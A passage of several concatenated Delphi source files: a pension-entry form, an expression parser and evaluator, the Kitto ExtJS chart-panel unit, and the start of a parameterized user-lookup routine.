qFDC_DateWork.Value:=Date;
qFDC_DateOrder.Value:=Date;
qFDC_Report.Value:=Date;
{ DTP_Date_order.Date:=Date();
DTP_Date_start.Date:=Date();
DTP_Date_work_beg.Date:=Date();
DTP_Date_beg.Date:=Date();
DTP_Date_end.Date:=Date();
FormControl := TEditControl.Create;
FormControl.Add([FC_Cat,FC_Type,FC_Prop]);
FormControl.Prepare(emNew);}
end;
procedure TAddPension.SbOkClick(Sender: TObject);
var flag:Boolean;
begin
flag:=True;
if PensionDateBeg.Text='' then
begin
agMessageDlg('Увага!', 'Ви не заповнили поле "Дата початку"!', mtInformation, [mbOK]);
PensionDateBeg.Style.Color:=clRed;
flag:=False;
end;
if ((PensionDateBeg.Text<>'') and (PensionDateEnd.Text<>'')) then
if PensionDateEnd.Date<PensionDateBeg.Date then
begin
agMessageDlg('Увага!', 'Дата кінця повина бути більш, ніж дата початку!', mtInformation, [mbOK]);
PensionDateBeg.Style.Color:=clRed;
PensionDateEnd.Style.Color:=clRed;
flag:=False;
end;
try
if flag then ModalResult:=mrOk;
//qFFC_Pension.Ok;
except on e: Exception do
begin
MessageDlg('Не вдалося змінити запис: '+#13+e.Message,mtError,[mbYes],0);
ModalResult:=0;
end;
end;
end;
procedure TAddPension.SbCancelClick(Sender: TObject);
begin
ModalResult:=mrCancel;
end;
procedure TAddPension.PensionCatOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: String);
var
sp: TSprav;
begin
// создать справочник
sp := GetSprav('ASUP\SpPensionCategory');
if sp <> nil then
begin
// заполнить входные параметры
with sp.Input do
begin
Append;
// присвоить хэндл базы данных
FieldValues['DBHandle'] := Integer(DHandle);
//FieldValues['ModeEdit'] := 1;
Post;
end;
end;
// просто показать справочник
sp.Show;
if ((not sp.Output.IsEmpty) and (sp.Output<>nil)) then
begin
Value:=sp.Output['Id_Pension_Cat'];
DisplayText:=sp.Output['Name_Pension_Cat'];
end;
end;
procedure TAddPension.PensionVidOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: String);
var
form: TSpForm;
PropParams: TSpParams;
begin
PropParams:=TSpParams.Create;
with PropParams do
begin
Table := 'asup_sp_pension_type';
Title := 'Види пенсій';
IdField := 'id_pension_type';
SpFields := 'name_pension_type';
ColumnNames := 'Види пенсій';
SpMode := [spfModify,spfFind,spfSelect,spfExt];
end;
form := TSpForm.Create(Self);
form.Init(PropParams);
if (form.ShowModal=mrOk) then
begin
value:=form.ResultQuery['id_pension_type'];
DisplayText:=form.ResultQuery['name_pension_type'];
end;
form.Free;
PropParams.Free;
end;
procedure TAddPension.PensionPropOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: String);
var
form: TSpForm;
PropParams: TSpParams;
begin
PropParams:=TSpParams.Create;
with PropParams do
begin
Table := 'asup_sp_pension_prop';
Title := 'Ознаки пенсій';
IdField := 'id_pension_prop';
SpFields := 'name_pension_prop';
ColumnNames := 'Ознаки пенсій';
SpMode := [spfModify,spfFind,spfSelect,spfExt];
end;
form := TSpForm.Create(Self);
form.Init(PropParams);
if (form.ShowModal=mrOk) then
begin
value:=form.ResultQuery['id_pension_prop'];
DisplayText:=form.ResultQuery['name_pension_prop'];
end;
form.Free;
PropParams.Free;
end;
procedure TAddPension.cbInfinityDateClick(Sender: TObject);
begin
PensionDateEnd.Enabled := not cbInfinityDate.Checked;
PensionDateEnd.Visible := not cbInfinityDate.Checked;
if cbInfinityDate.Checked then PensionDateEnd.Date := EncodeDate(9999, 12, 31);
end;
procedure TAddPension.PensionDateStartPropertiesChange(Sender: TObject);
begin
PensionDateWork.Date:=PensionDateStart.Date;
end;
end.
|
unit UExpression;
interface
function infixToPostfix(expression: String):String;
function calculateInfix(expression: String; operands: String; var errors: Integer):Extended;
function check(expression: String; operands: String):Integer; overload;
function check(expression: String):Integer; overload;
implementation
uses
SysUtils, UStack, Math, UTypes;
type
TCommand = record
longOpen: String;
longClose: String;
shortOpen: String;
shortClose: String;
end;
TCommandArray = array [1..16] of TCommand;
TOperand = record
ID: String;
value: Extended;
end;
TOperands = array of TOperand;
{ FORMAT PROCEDURE }
const
CONSTANT_SYMBOLS: set of char = ['A'..'Z', '0'..'9', '.'];
INFIX_COMMANDS: TCommandArray =
((longOpen: 'SIN('; longClose: ')'; shortOpen: #1; shortClose: #2),
(longOpen: 'COS('; longClose: ')'; shortOpen: #3; shortClose: #4),
(longOpen: 'TG('; longClose: ')'; shortOpen: #5; shortClose: #6),
(longOpen: 'CTG('; longClose: ')'; shortOpen: #7; shortClose: #8),
(longOpen: 'ASIN('; longClose: ')'; shortOpen: #9; shortClose: #10),
(longOpen: 'ACOS('; longClose: ')'; shortOpen: #11; shortClose: #12),
(longOpen: 'ATG('; longClose: ')'; shortOpen: #13; shortClose: #14),
(longOpen: 'ACTG('; longClose: ')'; shortOpen: #15; shortClose: #16),
(longOpen: 'LN('; longClose: ')'; shortOpen: #17; shortClose: #18),
(longOpen: 'LG('; longClose: ')'; shortOpen: #19; shortClose: #20),
(longOpen: 'LOG('; longClose: ')'; shortOpen: #21; shortClose: #22),
(longOpen: 'MOD'; longClose: ''; shortOpen: #25; shortClose: ''),
(longOpen: 'DIV'; longClose: ''; shortOpen: #26; shortClose: ''),
(longOpen: 'SQRT('; longClose: ')'; shortOpen: '('; shortClose: ')^(1/2)'),
(longOpen: 'SQR('; longClose: ')'; shortOpen: '('; shortClose: ')^2'),
(longOpen: '|'; longClose: '|'; shortOpen: #23; shortClose: #24));
POSTFIX_COMMANDS: TCommandArray =
((longOpen: ' SIN '; longClose: ''; shortOpen: #1; shortClose: ''),
(longOpen: ' COS '; longClose: ''; shortOpen: #3; shortClose: ''),
(longOpen: ' TG '; longClose: ''; shortOpen: #5; shortClose: ''),
(longOpen: ' CTG '; longClose: ''; shortOpen: #7; shortClose: ''),
(longOpen: ' ASIN '; longClose: ''; shortOpen: #9; shortClose: ''),
(longOpen: ' ACOS '; longClose: ''; shortOpen: #11; shortClose: ''),
(longOpen: ' ATG '; longClose: ''; shortOpen: #13; shortClose: ''),
(longOpen: ' ACTG '; longClose: ''; shortOpen: #15; shortClose: ''),
(longOpen: ' LN '; longClose: ''; shortOpen: #17; shortClose: ''),
(longOpen: ' LG '; longClose: ''; shortOpen: #19; shortClose: ''),
(longOpen: ' LOG '; longClose: ''; shortOpen: #21; shortClose: ''),
(longOpen: ' MOD '; longClose: ''; shortOpen: #25; shortClose: ''),
(longOpen: ' DIV '; longClose: ''; shortOpen: #26; shortClose: ''),
(longOpen: ' | '; longClose: ''; shortOpen: #23; shortClose: ''),
(longOpen: ''; longClose: ''; shortOpen: ''; shortClose: ''),
(longOpen: ''; longClose: ''; shortOpen: ''; shortClose: ''));
{ Удаляет все пробелы в строке }
procedure deleteSpaces(var expression: String);
var
i: Integer;
begin
i := 1;
while i <= length(expression) do
begin
if expression[i] = ' ' then
delete(expression, i, 1)
else
inc(i);
end;
end;
{ Добавляет ноль перед унарным минусом }
procedure unoMinus(var expression: String);
var
i: Integer;
begin
while expression[1] = ' ' do
delete(expression, 1, 1);
if (length(expression) > 0) and (expression[1] = '-') then
insert('0', expression, 1);
i := 1;
while i < length(expression) do
begin
if ((expression[i] = '(') or (expression[i] = '|')) then
begin
while expression[i + 1] = ' ' do
delete(expression, i + 1, 1);
if (expression[i + 1] = '-') then
insert('0', expression, i + 1)
else
inc(i);
end
else
inc(i);
end;
end;
{ Удаляет пробелы перед открывающимися скобками }
procedure deformatExpression(var expression: String);
var
i: Integer;
begin
i := length(expression);
while i > 0 do
begin
while (expression[i] <> '(') and (i > 0) do
dec(i);
dec(i);
while (expression[i] = ' ') and (i > 1) do
begin
delete(expression, i, 1);
dec(i);
end;
end;
i := 1;
while i < length(expression) do
begin
if (expression[i] = ' ') and (expression[i + 1] = ' ') then
delete(expression, i, 1)
else
inc(i);
end;
if (length(expression) > 0) and (expression[1] = ' ') then
delete(expression, 1, 1);
end;
{ Сравнивает две строки до длины второй }
function isEqual(strA: String; strB: String):Boolean;
var
i: Integer;
begin
result := true;
for i := 1 to length(strB) do
if strA[i] <> strB[i] then
result := false;
end;
{ Ищет длинные команды и заменяет их короткими версиями }
procedure toShortCommands(var expression: String; commands: TCommandArray);
var
subExpr: String;
i, j, commandNumber, brackets: Integer;
begin
i := 1;
// При проходе по строке
while i <= length(expression) do
begin
// Копирует 6 символов
subExpr := copy(expression, i, 6);
commandNumber := 0;
j := 1;
// Сравнивает их со всеми командами
while (commandNumber = 0) and (j <= Length(commands)) do
begin
if (length(commands[j].longOpen) <> 0) and (isEqual(subExpr, commands[j].longOpen)) then
commandNumber := j;
inc(j);
end;
// Если совпало с командой
if commandNumber <> 0 then
begin
// Удаляет длинную версию и добавляет короткую
delete(expression, i, length(commands[commandNumber].longOpen));
insert(' ' + commands[commandNumber].shortOpen + ' ', expression, i);
// Если у команды есть конец, то ищет его, и заменяет на короткую версию
if commands[commandNumber].longClose = ')' then
begin
j := i + 2;
brackets := 1;
while (j <= length(expression)) and (brackets <> 0) do
begin
if expression[j] = '(' then
inc(brackets);
if expression[j] = ')' then
dec(brackets);
inc(j);
end;
if brackets = 0 then
begin
delete(expression, j - 1, length(commands[commandNumber].longClose));
insert(commands[commandNumber].shortClose, expression, j - 1);
end;
end;
if commands[commandNumber].longClose = '|' then
begin
j := length(expression);
while (expression[j] <> '|') and (j > 0) do
dec(j);
delete(expression, j, length(commands[commandNumber].longClose));
insert(commands[commandNumber].shortClose, expression, j);
end;
end;
inc(i);
end;
end;
{ Заменяет кортокие команды на их длинные версии }
procedure toLongCommands(var expression: String; commands: TCommandArray);
var
i, j: Integer;
begin
i := 1;
while i <= length(expression) do
begin
j := 1;
while (j <= Length(commands)) do
begin
if length(commands[j].shortOpen) <> 0 then
if expression[i] = commands[j].shortOpen then
begin
delete(expression, i, 1);
insert(' ' + commands[j].longOpen + ' ', expression, i);
end;
inc(j);
end;
inc(i);
end;
end;
{ Преобразует операнды из строки в массив }
function convertOperands(operands: String):TOperands;
var
i, j: Integer;
begin
DecimalSeparator := '.';
SetLength(result, 2);
result[0].ID := 'PI';
result[0].value := Pi;
result[1].ID := 'E';
result[1].value := exp(1);
operands := UpperCase(operands);
deleteSpaces(operands);
i := 1;
while i <= length(operands) do
begin
SetLength(result, length(result) + 1);
j := i;
while (operands[i] in CONSTANT_SYMBOLS) do
inc(i);
result[length(result) - 1].ID := copy(operands, j, i - j);
inc(i);
j := i;
while (operands[i] in ['-', '0'..'9', '.']) do
inc(i);
result[length(result) - 1].value := StrToFloat(copy(operands, j, i - j));
inc(i);
end;
end;
{ OPERANDS PROCEDURE }
{ Ищет операнд в массиве }
function findOperand(str: String; operands: TOperands):Extended;
var
i: Integer;
begin
result := NaN;
for i := 0 to length(operands) - 1 do
begin
if operands[i].ID = str then
result := operands[i].value;
end;
end;
{ Получает число из массива или строки }
function operandToNumber(str: String; operands: TOperands):Extended;
begin
DecimalSeparator := '.';
if str[1] in ['A'..'Z'] then
result := findOperand(str, operands)
else
result := StrToFloat(str);
end;
{ CONVERTION PROCEDURE }
{ Получает приоритет символа в строке }
function getStringPriority(elem: Char):Integer;
begin
case elem of
'+', '-':
result := 1;
'*', '/', #25, #26:
result := 3;
'^':
result := 6;
'(', #1, #3, #5,
#7, #9, #11, #13,
#15, #17, #19, #21,
#23:
result := 9;
')', #2, #4, #6,
#8, #10, #12, #14,
#16, #18, #20, #22,
#24:
result := 0;
else
result := -1;
end;
end;
{ Получает приоритет символа в стеке }
function getStackPriority(elem: TElem):Integer;
begin
if elem.isOperand then
result := 8
else
begin
case elem.operation of
'+', '-':
result := 2;
'*', '/', #25, #26:
result := 4;
'^':
result := 5;
'(', #1, #3, #5,
#7, #9, #11, #13,
#15, #17, #19, #21,
#23:
result := 0;
else
result := -1;
end;
end;
end;
{ Преобразует инфиксное выражение в постфиксоное }
function convertToPostfix(expression: String):String;
var
i, j: Integer;
stack: TStack;
begin
createStack(stack);
result := '';
i := 1;
while (i <= length(expression)) do
begin
case expression[i] of
'+', '-', '*', '/',
#25, #26, '^', '(',
#1, #3, #5, #7,
#9, #11, #13, #15,
#17, #19, #21, #23:
begin
while (not isEmpty(stack)) and
(getStackPriority(viewTop(stack)) >=
getStringPriority(expression[i])) do
result := result + elemToString(pop(stack));
push(stack, expression[i]);
end;
')', #2, #4, #6,
#8, #10, #12, #14,
#16, #18, #20, #22,
#24:
begin
while (not isEmpty(stack)) and
((viewTop(stack).isOperand) or
(viewTop(stack).operation <>
pred(expression[i]))) do
result := result + elemToString(pop(stack));
if (not isEmpty(stack)) and (viewTop(stack).operation <> '(') then
result := result + elemToString(pop(stack))
else
if not isEmpty(stack) then
pop(stack);
// Переносит ! вместе с закрывающейся скобкой
if (i < length(expression)) and (expression[i+1] = '!') then
result := result + '!';
end;
'A'..'Z', '0'..'9', '.':
begin
j := i;
while (expression[i] in CONSTANT_SYMBOLS) and
(i <= length(expression)) do
inc(i);
// Преносит ! вместе с предыдущим операндом
if (i <= length(expression)) and (expression[i] = '!') then
inc(i);
push(stack, ' ' + copy(expression, j, i - j) + ' ');
dec(i);
end;
end;
inc(i);
end;
// Добавляет остаточное содержимое стека в результат
while not isEmpty(stack) do
result := result + elemToString(pop(stack));
destroyStack(stack);
end;
{ Преобразует длинное инфиксное выражение в длинное постфиксное }
function infixToPostfix(expression: String):String;
begin
expression := UpperCase(expression);
deformatExpression(expression);
unoMinus(expression);
toShortCommands(expression, INFIX_COMMANDS);
expression := convertToPostfix(expression);
toLongCommands(expression, POSTFIX_COMMANDS);
deformatExpression(expression);
result := expression;
end;
{ CHECK EXPRESSION PROCEDURE }
{ Проверяет ранг выражения }
function checkRank(expression: String; var mnemoText: String):Boolean;
var
rank, i: Integer;
begin
rank := 0;
i := 1;
mnemoText := '';
while i <= length(expression) do
begin
case expression[i] of
#25, #26, '+', '-', '*', '/', '^':
begin
dec(rank);
mnemoText := mnemoText + '1';
end;
'A'..'Z':
begin
while (expression[i] in CONSTANT_SYMBOLS) and
(i <= length(expression)) do
inc(i);
inc(rank);
dec(i);
mnemoText := mnemoText + '0';
end;
'0'..'9':
begin
while (expression[i] in ['0'..'9', '.']) and
(i <= length(expression)) do
inc(i);
inc(rank);
dec(i);
mnemoText := mnemoText + '0';
end;
end;
inc(i);
end;
result := rank <> 1;
end;
{ Проверяет порядок следования операций }
function checkMnemoText(mnemoText: String):Boolean;
var
i: Integer;
begin
result := false;
for i := 1 to length(mnemoText) - 1 do
result := result or (mnemoText[i] = mnemoText[i + 1]);
end;
{ Проверяет скобки в выражении }
function checkBrackets(expression: String):Boolean;
var
brackets, i: Integer;
begin
brackets := 0;
result := false;
for i := 1 to length(expression) do
begin
if expression[i] = '(' then
inc(brackets);
if expression[i] = ')' then
dec(brackets);
result := result or (brackets < 0);
end;
result := result or (brackets <> 0);
end;
{ Проверяет формат операндов }
function checkOperandsFormat(operands: String):Boolean;
var
i: Integer;
begin
operands := UpperCase(operands);
result := false;
i := 1;
while (i <= length(operands)) and not result do
begin
if not (operands[i] in ['A'..'Z']) then
result := true
else
begin
while ((operands[i] in ['A'..'Z']) or
(operands[i] in ['0'..'9'])) and
(i <= length(operands)) do
inc(i);
while (operands[i] = ' ') do
inc(i);
if operands[i] <> '=' then
result := true
else
begin
inc(i);
while (operands[i] = ' ') do
inc(i);
if operands[i] = '-' then
inc(i);
while ((operands[i] in ['0'..'9']) or
(operands[i] = '.')) and
(i <= length(operands)) do
inc(i);
while (operands[i] = ' ') do
inc(i);
if i <= length(operands) then
if operands[i] <> ',' then
result := true
else
begin
inc(i);
while (operands[i] = ' ') do
inc(i);
end;
end;
end;
end;
end;
{ Проверяет наличие нужных операндов }
function checkOperands(expression: String; operands: String):Boolean;
var
i, j: Integer;
operandsArray: TOperands;
begin
operandsArray := convertOperands(operands);
i := 1;
result := false;
while (i <= length(expression)) do
begin
if expression[i] in ['A'..'Z'] then
begin
j := i;
while (expression[i] in CONSTANT_SYMBOLS) and
(i <= length(expression)) do
inc(i);
result := result or isNaN(findOperand(copy(expression, j, i - j), operandsArray));
dec(i);
end;
inc(i);
end
end;
{ Проверяет выражение }
function check(expression, operands: String):Integer; overload;
var
mnemoText: String;
begin
result := 0;
expression := UpperCase(expression);
deformatExpression(expression);
if expression = '' then
result := errRANK
else
begin
unoMinus(expression);
if checkBrackets(expression) then
result := result or errBRACKETS;
toShortCommands(expression, INFIX_COMMANDS);
if checkRank(expression, mnemoText) then
result := result or errRANK;
if checkMnemoText(mnemoText) then
result := result or errRANK;
if checkOperandsFormat(operands) then
result := result or errBAD_OPERANDS
else
begin
if checkOperands(expression, operands) then
result := result or errNOT_ENOUGH_OPERANDS;
end;
end;
end;
{ Проверяет выражение }
function check(expression: String):Integer; overload;
var
mnemoText: String;
begin
result := 0;
expression := UpperCase(expression);
deformatExpression(expression);
if expression = '' then
result := errRANK
else
begin
unoMinus(expression);
if checkBrackets(expression) then
result := result or errBRACKETS;
toShortCommands(expression, INFIX_COMMANDS);
if checkRank(expression, mnemoText) then
result := result or errRANK;
if checkMnemoText(mnemoText) then
result := result or errRANK;
end;
end;
{ CALCULATION PROCEDURE }
{ Вычисляет короткое постфиксное выражение }
function calculate(expression: String; operands: TOperands; var errors: Integer):Extended;
var
stack: TStack;
i, j, k: Integer;
a, b, temp: Extended;
strA, strB: String;
begin
createStack(stack);
expression := UpperCase(expression);
deformatExpression(expression);
i := 1;
while i <= length(expression) do
begin
if expression[i] in CONSTANT_SYMBOLS then
begin
j := i;
while expression[i] in CONSTANT_SYMBOLS do
inc(i);
push(stack, copy(expression, j, i - j));
dec(i);
end
else
begin
try
{$I 'commands_calculate.inc'}
except
i := length(expression) + 1;
errors := errors or errRANK;
push(stack, '1 ');
end;
end;
inc(i);
end;
try
result := operandToNumber(pop(stack).operand, operands);
except
result := NaN;
errors := errors or errRank;
end;
destroyStack(stack);
end;
{ Вычисляет длинное инфиксное выражение }
function calculateInfix(expression: String; operands: String; var errors: Integer):Extended;
begin
expression := UpperCase(expression);
deformatExpression(expression);
unoMinus(expression);
toShortCommands(expression, INFIX_COMMANDS);
expression := convertToPostfix(expression);
result := calculate(expression, convertOperands(operands), errors);
if errors <> 0 then
result := NaN;
end;
end.
|
{-------------------------------------------------------------------------------
Copyright 2012 Ethea S.r.l.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------------------}
unit Kitto.Ext.ChartPanel;
{$I Kitto.Defines.inc}
interface
uses
Ext, ExtChart, ExtData,
EF.Tree,
Kitto.Metadata.DataView, Kitto.Ext.Base, Kitto.Ext.DataPanelLeaf;
type
TKExtChartPanel = class(TKExtDataPanelLeafController)
strict private
FChart: TExtChartChart;
procedure CreateAndInitChart(const AChartType: string);
procedure CreateAndInitSeries(const AConfigNode: TEFNode);
function GetLabelRenderer(const AFieldName: string): string;
function CreateAndInitChartAxis(const AFieldName: string;
const AConfigNode: TEFNode): TExtChartAxis;
function CreateAndInitAxis(const AFieldName: string;
const AConfigNode: TEFNode): TExtChartAxis;
strict protected
procedure SetViewTable(const AValue: TKViewTable); override;
end;
implementation
uses
SysUtils, StrUtils,
EF.Localization, EF.Macros,
Kitto.Types, Kitto.Ext.Utils, Kitto.Metadata.Models, Kitto.Ext.Session,
Kitto.Ext.Controller;
{ TKExtChartPanel }
function TKExtChartPanel.GetLabelRenderer(const AFieldName: string): string;
var
LViewField: TKViewField;
LFormat: string;
LDataType: TEFDataType;
begin
Assert(AFieldName <> '');
LViewField := ViewTable.FieldByName(AFieldName);
LDataType := LViewField.GetActualDataType;
LFormat := LViewField.DisplayFormat;
if LDataType is TEFIntegerDataType then
begin
if LFormat = '' then
LFormat := '0,000'; // '0';
Result := Format('Ext.util.Format.numberRenderer("%s")', [AdaptExtNumberFormat(LFormat, Session.Config.UserFormatSettings)]);
end
else if (LDataType is TEFFloatDataType) or (LDataType is TEFDecimalDataType) then
begin
if LFormat = '' then
LFormat := '0,000.' + DupeString('0', LViewField.DecimalPrecision);
Result := Format('Ext.util.Format.numberRenderer("%s")', [AdaptExtNumberFormat(LFormat, Session.Config.UserFormatSettings)]);
end
else if LDataType is TEFCurrencyDataType then
begin
if LFormat = '' then
LFormat := '0,000.00';
Result := Format('Ext.util.Format.numberRenderer("%s")', [AdaptExtNumberFormat(LFormat, Session.Config.UserFormatSettings)]);
end
else if LDataType is TEFDateDataType then
begin
LFormat := LViewField.DisplayFormat;
if LFormat = '' then
LFormat := Session.Config.UserFormatSettings.ShortDateFormat;
Result := Format('Ext.util.Format.dateRenderer("%s")', [DelphiDateFormatToJSDateFormat(LFormat)]);
end
else if LDataType is TEFTimeDataType then
begin
LFormat := LViewField.DisplayFormat;
if LFormat = '' then
LFormat := Session.Config.UserFormatSettings.ShortTimeFormat;
Result := Format('function (v) { return formatTime(v, "%s"); }', [DelphiTimeFormatToJSTimeFormat(LFormat)]);
end
else if LDataType is TEFDateTimeDataType then
begin
LFormat := LViewField.DisplayFormat;
if LFormat = '' then
LFormat := Session.Config.UserFormatSettings.ShortDateFormat + ' ' +
Session.Config.UserFormatSettings.ShortTimeFormat;
Result := Format('Ext.util.Format.dateRenderer("%s")', [DelphiDateTimeFormatToJSDateTimeFormat(LFormat)])+
Format('function (v) { return formatTime(v, "%s"); }', [DelphiTimeFormatToJSTimeFormat(LFormat)]);
end
else
Result := '';
end;
function TKExtChartPanel.CreateAndInitChartAxis(const AFieldName: string;
const AConfigNode: TEFNode): TExtChartAxis;
var
LDataType: TEFDataType;
begin
Assert(AFieldName <> '');
LDataType := ViewTable.FieldByName(AFieldName).GetActualDataType;
if LDataType is TEFDateTimeDataTypeBase then
begin
Result := TExtChartTimeAxis.Create(Self);
TExtChartTimeAxis(Result).StackingEnabled := True;
if Assigned(AConfigNode) then
begin
if AConfigNode.HasChild('MajorTimeUnit') then
TExtChartTimeAxis(Result).MajorTimeUnit := AConfigNode.GetString('MajorTimeUnit');
if AConfigNode.HasChild('MajorUnit') then
TExtChartTimeAxis(Result).MajorUnit := AConfigNode.GetInteger('MajorUnit');
if AConfigNode.HasChild('MinorUnit') then
TExtChartTimeAxis(Result).MinorUnit := AConfigNode.GetInteger('MinorUnit');
if AConfigNode.HasChild('Max') then
TExtChartTimeAxis(Result).Maximum := AConfigNode.GetInteger('Max');
if AConfigNode.HasChild('Min') then
TExtChartTimeAxis(Result).Minimum := AConfigNode.GetInteger('Min');
end;
end
else if LDataType is TEFNumericDataTypeBase then
begin
Result := TExtChartNumericAxis.Create(Self);
TExtChartNumericAxis(Result).StackingEnabled := True;
if Assigned(AConfigNode) then
begin
if AConfigNode.HasChild('Max') then
TExtChartNumericAxis(Result).Maximum := AConfigNode.GetInteger('Max');
if AConfigNode.HasChild('Min') then
TExtChartNumericAxis(Result).Minimum := AConfigNode.GetInteger('Min');
if AConfigNode.HasChild('MajorUnit') then
TExtChartNumericAxis(Result).MajorUnit := AConfigNode.GetInteger('MajorUnit');
if AConfigNode.HasChild('MinorUnit') then
TExtChartNumericAxis(Result).MinorUnit := AConfigNode.GetInteger('MinorUnit');
end;
end
else
Result := TExtChartCategoryAxis.Create(Self);
end;
procedure TKExtChartPanel.CreateAndInitSeries(const AConfigNode: TEFNode);
var
I: Integer;
procedure CreateAndInitASeries(const AConfigNode: TEFNode);
var
LOption: string;
LStyle: TEFNode;
LSeries: TExtChartSeries;
function TranslateSeriesType(const ASeriesType: string): string;
begin
Result := AnsiLowerCase(ASeriesType);
end;
begin
Assert(Assigned(AConfigNode));
if FChart is TExtChartPieChart then
begin
LSeries := TExtChartPieSeries.CreateAndAddTo(FChart.Series);
end
else
begin
LSeries := TExtChartCartesianSeries.CreateAndAddTo(FChart.Series);
LOption := AConfigNode.GetString('XField');
if LOption <> '' then
TExtChartCartesianSeries(LSeries).XField := LOption;
LOption := AConfigNode.GetString('YField');
if LOption <> '' then
TExtChartCartesianSeries(LSeries).YField := LOption;
end;
LOption := TranslateSeriesType(AConfigNode.GetString('Type'));
if LOption <> '' then
LSeries.TypeJS := LOption;
LOption := _(AConfigNode.GetString('DisplayName'));
if LOption <> '' then
LSeries.DisplayName := LOption;
LStyle := AConfigNode.FindNode('Style');
if Assigned(LStyle) then
begin
LSeries.Style := TExtChartSeriesStyle.Create(Self);
LOption := LStyle.GetString('Color');
if LOption <> '' then
LSeries.Style.Color := LOption;
LOption := LStyle.GetString('Image');
if LOption <> '' then
begin
TEFMacroExpansionEngine.Instance.Expand(LOption);
LSeries.Style.Image := LOption;
end;
LOption := LStyle.GetString('Mode');
if LOption <> '' then
LSeries.Style.Mode := LOption;
end;
end;
begin
if Assigned(AConfigNode) then
begin
for I := 0 to AConfigNode.ChildCount - 1 do
CreateAndInitASeries(AConfigNode.Children[I]);
end;
end;
function TKExtChartPanel.CreateAndInitAxis(const AFieldName: string;
const AConfigNode: TEFNode): TExtChartAxis;
var
LOption: string;
begin
Result := CreateAndInitChartAxis(AFieldName, AConfigNode);
LOption := GetLabelRenderer(AFieldName);
if LOption <> '' then
Result.LabelFunction := LOption;
if Assigned(AConfigNode) then
begin
LOption := _(AConfigNode.GetString('Title'));
if LOption <> '' then
Result.Title := LOption;
end;
end;
procedure TKExtChartPanel.CreateAndInitChart(const AChartType: string);
function GetAxisField(const AAxis: string): string;
var
LSeries: TEFNode;
I: Integer;
begin
Result := Config.GetString(Format('Chart/Axes/%s/Field', [AAxis]));
if Result = '' then
begin
LSeries := Config.FindNode('Chart/Series');
if not Assigned(LSeries) then
raise EKError.CreateFmt('A chart''s %s axis must either have a Field or one or more Series.', [AAxis]);
for I := 0 to LSeries.ChildCount - 1 do
begin
Result := LSeries.Children[I].GetString(Format('%sField', [AAxis]));
if Result <> '' then
Break;
end;
if Result = '' then
raise EKError.CreateFmt('No valid series found for chart''s %s axis. At least one series with a %sField specification needed.', [AAxis, AAxis]);
end;
end;
procedure CreateDefaultXYAxes;
begin
FChart.XField := GetAxisField('X');
FChart.XAxis := CreateAndInitAxis(FChart.XField, Config.FindNode('Chart/Axes/X'));
FChart.YField := GetAxisField('Y');
FChart.YAxis := CreateAndInitAxis(FChart.YField, Config.FindNode('Chart/Axes/Y'));
end;
var
LOption, LFieldName: string;
begin
Assert(ClientStore <> nil);
if SameText(AChartType, 'Line') then
begin
FChart := TExtChartLineChart.CreateAndAddTo(Items);
CreateDefaultXYAxes;
end
else if SameText(AChartType, 'Bar') then
begin
FChart := TExtChartBarChart.CreateAndAddTo(Items);
CreateDefaultXYAxes;
end
else if SameText(AChartType, 'Column') then
begin
FChart := TExtChartColumnChart.CreateAndAddTo(Items);
CreateDefaultXYAxes;
end
else if SameText(AChartType, 'StackedBar') then
begin
FChart := TExtChartStackedBarChart.CreateAndAddTo(Items);
CreateDefaultXYAxes;
end
else if SameText(AChartType, 'StackedColumn') then
begin
FChart := TExtChartStackedColumnChart.CreateAndAddTo(Items);
CreateDefaultXYAxes;
end
else if SameText(AChartType, 'Pie') then
begin
FChart := TExtChartPieChart.CreateAndAddTo(Items);
LFieldName := Config.GetString('Chart/DataField');
TExtChartPieChart(FChart).DataField := LFieldName;
LFieldName := Config.GetString('Chart/CategoryField');
TExtChartPieChart(FChart).CategoryField := LFieldName;
end
else
raise EKError.CreateFmt(_('Unknown chart type %s.'), [AChartType]);
FChart.Store := ClientStore;
FChart.Url := Format('%s/resources/charts.swf', [Session.ExtPath]);
FChart.Region := rgCenter;
LOption := Config.GetExpandedString('Chart/ChartStyle');
if LOption <> '' then
FChart.ChartStyle := JSObject(LOption, '', False);
LOption := Config.GetExpandedString('Chart/TipRenderer');
if LOption <> '' then
FChart.TipRenderer := JSFunction('chart, record, index, series', LOption);
if FChart is TExtChartCartesianChart then
CreateAndInitSeries(Config.FindNode('Chart/Series'));
end;
procedure TKExtChartPanel.SetViewTable(const AValue: TKViewTable);
begin
inherited;
Assert(Assigned(AValue));
CreateAndInitChart(Config.GetString('Chart/Type'));
{ TODO : Provide a way to hook clicks to ajax calls }
// FChart.Listeners := JSObject(Format('itemclick: function(o){ var rec = %s.getAt(o.index); ' +
// 'alert("You chose {0}.", rec.get("%s"));}', [FChart.Store.JSName, FChart.XField]));
end;
initialization
TKExtControllerRegistry.Instance.RegisterClass('ChartPanel', TKExtChartPanel);
finalization
TKExtControllerRegistry.Instance.UnregisterClass('ChartPanel');
end.
|
unit UserBusiness;
interface
uses UserModel;
function GetUser(id : String) : TUser;
implementation
uses GlobalObjects, DatabaseConnection, SysUtils, SimpleDS, DB;
function IsoStrToDate(isoDateStr : String) : TDateTime;
var
format : TFormatSettings;
begin
format.ShortDateFormat := 'yyyy-mm-dd';
format.DateSeparator := '/';
format.LongTimeFormat := 'hh:nn:ss.zzz';
format.TimeSeparator := ':';
Result := StrToDate(isoDateStr, format);
end;
function GetUser(id : String) : TUser;
const
UserQuery = 'SELECT * FROM users WHERE id = :id';
var
queryParams : TSqlParams;
queryResult : TSimpleDataset;
begin
queryParams := TSqlParams.Create;
queryParams.AddString('id', id);
queryResult := DbConnection.ExecuteSelect(UserQuery, queryParams);
Result := nil;
if Assigned(queryResult) then
begin
Result := TUser.Create;
with Result do
begin
Id := queryResult.FieldByName('id').AsString;
FirstName := queryResult.FieldByName('firstname').AsString;
LastName := queryResult.FieldByName('lastname').AsString;
BirtDate := queryResult.FieldByName('birthdate').AsDateTime;
Active := queryResult.FieldByName('active').AsBoolean;
PhoneNumber := queryResult.FieldByName('phonenumber').AsString;
UserName := queryResult.FieldByName('username').AsString;
